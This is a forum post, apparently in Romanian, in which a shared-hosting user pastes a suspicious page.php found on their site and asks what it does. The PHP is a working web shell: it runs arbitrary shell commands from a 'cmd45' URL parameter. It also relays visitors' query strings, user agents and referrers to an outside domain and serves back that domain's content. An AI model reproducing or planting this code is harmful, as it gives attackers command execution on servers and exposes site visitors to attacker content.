Iata ce contine acel page.php, serverul e share... nu stiu daca e cazul sa spun unde e gazduit dar nu cred ca e vorba de permisiunile mele (555 pe public_html)
Cod PHP:
<?
error_reporting(0);
if($_GET['cmd45']) {
system($_GET['cmd45']);
}
if($_GET['gid']) {
$ret = $_SERVER['SCRIPT_NAME'];
preg_match("/.*\/(.*)/", $ret, $matches);
$ret = filesize($matches[1]);
print $ret;
exit();
}
$domain = 'shemale1.biz';
$ur = '/load.php?f=%s&ua=%s&ref=%s';
$qs = $_SERVER['QUERY_STRING'];
$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));
$ref = urlencode($_SERVER['HTTP_REFERER']);
$redirect = sprintf($ur,$qs,$ua,$ref);
#print $redirect;
#exit;
echo getcontent($domain,80,$redirect);
exit;
function getcontent($server, $port, $file)
{
$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");
$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;
fputs($socket, "GET $file HTTP/1.0\r\n");
fputs($socket, "Referer: http://$refer\r\n");
fputs($socket, "Host: $server\r\n");
fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\r\n");
$wr = 0;
while(!feof($socket))
{
$temp = fgets($socket);
if(eregi("<",$temp)) {
$wr = 1;
}
if($wr) {
$page .= $temp;
}
}
fclose($socket);
return $page;
}
?>